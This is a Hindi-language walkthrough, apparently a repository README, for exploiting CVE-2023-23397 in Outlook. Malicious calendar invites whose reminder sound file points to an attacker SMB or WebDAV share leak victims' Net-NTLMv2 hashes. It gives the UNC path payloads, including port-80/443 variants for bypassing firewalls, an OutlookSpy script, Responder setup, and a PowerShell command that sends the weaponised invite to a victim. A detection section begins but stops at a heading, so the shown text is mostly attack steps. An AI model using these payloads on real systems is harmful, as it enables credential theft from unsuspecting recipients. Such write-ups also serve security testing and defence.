
CVE-2023-23397 Outlook NTLM हैश लीक के लिए दुर्भावनापूर्ण कैलेंडर निमंत्रणों के माध्यम से शोषण। इसमें PowerShell वेपनाइज़ेशन, Responder एकीकरण, और घटना प्रतिक्रिया के लिए डिटेक्शन नियम शामिल हैं।
इस कमजोरी का शोषण करने के लिए, एक हमलावर को एक दुर्भावनापूर्ण कैलेंडर आमंत्रण बनाना होगा जिसमें एक साउंड फ़ाइल का संदर्भ शामिल हो जो हमलावर की मशीन पर नेटवर्क शेयर में किसी फ़ाइल की ओर इशारा करता है। निचले स्तर पर, एक Outlook ईमेल "PidLidReminderFileParameter" नामक आंतरिक पैरामीटर में साउंड फ़ाइल के संदर्भ को संग्रहीत करता है। यह सुनिश्चित करने के लिए कि हम अपने दुर्भावनापूर्ण ईमेल में जो ऑडियो एम्बेड करते हैं, वह पीड़ित की डिफ़ॉल्ट रिमाइंडर कॉन्फ़िगरेशन पर वरीयता ले, हमें "PidLidReminderOverride" नामक एक और पैरामीटर को true पर सेट करना होगा।
"PidLidReminderFileParameter" प्रॉपर्टी को नेटवर्क शेयर की ओर इंगित करने के लिए, हमलावर स्थानीय फ़ाइल के बजाय यूनिवर्सल नेमिंग कन्वेंशन (UNC) पथ निर्दिष्ट कर सकता है। UNC का उपयोग Windows ऑपरेटिंग सिस्टम में नेटवर्क संसाधनों (फ़ाइलों, प्रिंटर, साझा दस्तावेज़ों) को खोजने के लिए किया जाता है। इन पथों में डबल बैकस्लैश, संसाधन होस्ट करने वाले कंप्यूटर का IP पता या नाम, शेयर नाम और फ़ाइल नाम शामिल होते हैं। उदाहरण के लिए:
\\ATTACKER_IP\foo\bar.wav
जब पीड़ित को दुर्भावनापूर्ण ईमेल प्राप्त होता है, तो UNC पथ उन्हें उस SMB शेयर पर निर्देशित करता है, जिससे यह कमजोरी ट्रिगर होती है। इससे सिस्टम हमलावर की मशीन के खिलाफ NTLM प्रमाणीकरण प्रक्रिया शुरू कर देता है, और एक Net-NTLMv2 हैश लीक हो जाता है जिसे हमलावर बाद में क्रैक करने की कोशिश कर सकता है।
यदि किसी कारण से SMB प्रोटोकॉल उपयोग के लिए व्यवहार्य विकल्प नहीं है, तो Windows के गैर-सर्वर संस्करण 80 या 443 पोर्ट की ओर इंगित करने वाले UNC पथों का उपयोग स्वीकार करेंगे, और WebDAV-सक्षम वेब सर्वर से फ़ाइल प्राप्त करने के लिए HTTP का उपयोग करेंगे। ऐसे UNC पथ का सिंटैक्स इस प्रकार है:
\\ATTACKER_IP@80\foo\bar.wav
OR
\\ATTACKER_IP@443\foo\bar.wav
यह पोर्ट 445 (SMB) पर आउटगोइंग कनेक्शन को रोकने वाले फ़ायरवॉल प्रतिबंधों को बायपास करने के लिए उपयोगी हो सकता है।
हमला चरण
आइए आवश्यक पैरामीटर वाला एक दुर्भावनापूर्ण ईमेल तैयार करें जिसमें एक अपॉइंटमेंट हो ताकि इसे ट्रिगर किया जा सके।
Responder सेट करना:
चूंकि हम उम्मीद करते हैं कि पीड़ित पोर्ट 445 पर हमलावर के खिलाफ एक प्रमाणीकरण प्रयास को ट्रिगर करेगा, हम प्रमाणीकरण प्रक्रिया को संभालने और हमारे लिए NetNTLM हैश को कैप्चर करने के लिए Responder सेट करेंगे। यदि आप Responder से अपरिचित हैं, तो यह केवल एक SMB सर्वर का अनुकरण करेगा और उसके खिलाफ किसी भी प्रमाणीकरण प्रयास को कैप्चर करेगा। responder -I
दुर्भावनापूर्ण अपॉइंटमेंट को हाथ से तैयार करने का प्रयास:
OutlookSpy:
भले ही Outlook रिमाइंडर की साउंड फ़ाइल को UNC पथ पर सेट न कर सके, हम इसे प्राप्त करने के लिए OutlookSpy प्लगइन का उपयोग कर सकते हैं। यह प्लगइन आपको Outlook के सभी आंतरिक पैरामीटरों तक सीधे पहुंचने की अनुमति देगा, जिसमें रिमाइंडर की साउंड फ़ाइल भी शामिल है। आगे बढ़ने से पहले आपको इसे मैन्युअल रूप से स्थापित करना होगा। इंस्टॉलर चलाने से पहले Outlook को बंद करना सुनिश्चित करें।
आवश्यक मानों में पैरामीटर बदलने के लिए हम स्क्रिप्ट टैब और निम्नलिखित स्क्रिप्ट का उपयोग कर सकते हैं:
AppointmentItem.ReminderOverrideDefault = true
AppointmentItem.ReminderPlaySound = true
AppointmentItem.ReminderSoundFile = "\\<attacker's IP>\<share_folder>\file.wav"
परिवर्तन लागू करने के लिए "Run" बटन पर क्लिक करना सुनिश्चित करें। आप यह जांचने के लिए "Properties" टैब पर वापस जा सकते हैं कि मान सही ढंग से बदले गए थे। अंत में, अपने कैलेंडर में जोड़ने के लिए अपॉइंटमेंट को सहेजें, यह सुनिश्चित करते हुए कि रिमाइंडर "0 minutes" पर सेट है और अपॉइंटमेंट वर्तमान समय और तारीख से मेल खाता है, क्योंकि हम चाहते हैं कि यह तुरंत ट्रिगर हो।
यदि सब कुछ उम्मीद के मुताबिक हुआ, तो आपको तुरंत एक रिमाइंडर पॉप अप होता दिखना चाहिए। और आपको हमलावर की मशीन पर अपने Responder कंसोल में प्रमाणीकरण प्रयास प्राप्त करना चाहिए।
हथियारीकरण
इस कमजोरी का शोषण करने के लिए आवश्यक चरणों को सारांशित करते हुए, एक हमलावर को निम्न की आवश्यकता होगी:
चरण 3 और 4 हमारे लिए पहले से ही Responder द्वारा कवर किए गए हैं, लेकिन दुर्भावनापूर्ण अपॉइंटमेंट को हाथ से तैयार करना थोड़ा कठिन है। सौभाग्य से, दुर्भावनापूर्ण अपॉइंटमेंट बनाने और भेजने के लिए कुछ एक्सप्लॉइट आसानी से उपलब्ध हैं, जिनमें से एक इस रिपॉजिटरी में प्रदान किया गया है।
यह Powershell एक्सप्लॉइट ईमेल और अपॉइंटमेंट आसानी से बनाने के लिए Outlook के COM ऑब्जेक्ट का लाभ उठाता है। इसमें कुछ फ़ंक्शन हैं जिनका हम उपयोग कर सकते हैं: Save-CalendarNTLMLeak: यह फ़ंक्शन एक दुर्भावनापूर्ण अपॉइंटमेंट बनाता है और इसे आपके अपने कैलेंडर में सहेजता है। परीक्षण उद्देश्यों के लिए उपयोगी है। Send-CalendarNTLMLeak: यह फ़ंक्शन एक दुर्भावनापूर्ण अपॉइंटमेंट बनाता है और इसे ईमेल के माध्यम से पीड़ित को भेजता है। ईमेल आमंत्रण आपके Outlook के वर्तमान डिफ़ॉल्ट खाते से भेजा जाएगा।
एक्सप्लॉइट का उपयोग करना:
Powershell के भीतर, आप "Import-Module" cmdlet के साथ एक्सप्लॉइट के फ़ंक्शन आयात कर सकते हैं। उसके बाद, दोनों फ़ंक्शन आपके वर्तमान Powershell में उपलब्ध होंगे। दुर्भावनापूर्ण अपॉइंटमेंट के साथ ईमेल भेजने के लिए, आप निम्न कमांड चला सकते हैं:
PS C:\Users\User\Desktop\> Import-Module .\CVE-2023-23397.ps1
PS C:\Users\User\Desktop\> Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\ATTACKER_IP\foo\bar.wav" -meetingsubject "Random Meeting" -meetingbody "This is just a regular meeting invitation."
चूंकि एक्सप्लॉइट ईमेल भेजने के लिए वर्तमान Outlook उदाहरण का उपयोग करता है, आपको संभवतः कुछ अलर्ट मिलेंगे जो आपसे आपकी ओर से ईमेल भेजने के लिए स्क्रिप्ट को अनुमति देने के लिए कहेंगे। जितनी बार आवश्यक हो, Allow दबाना सुनिश्चित करें। "Allow access for 10 minutes" चेकबॉक्स को चिह्नित करने से भी इस प्रक्रिया को गति देने में मदद मिलनी चाहिए।
पहचान और शमन
पहचान:
अब जब हम Outlook पर CVE-2023-23397 हमले को हथियार बनाने के चरणों से गुज़र चुके हैं, तो आइए नेटवर्क के भीतर इस हमले का पता लगाने के कुछ तरीकों के बारे में बात करें। प्रत्येक हमला पैटर्न या कलाकृतियों को छोड़ता है जो पहचान टीम को खतरों की पहचान करने में मदद कर सकता है। यह सब नेटवर्क दृश्यता और लॉग स्रोतों पर निर्भर करता है जो एकत्र किए जा रहे हैं और बहुत महत्वपूर्ण दृश्यता प्रदान कर रहे हैं।
Sigma नियम: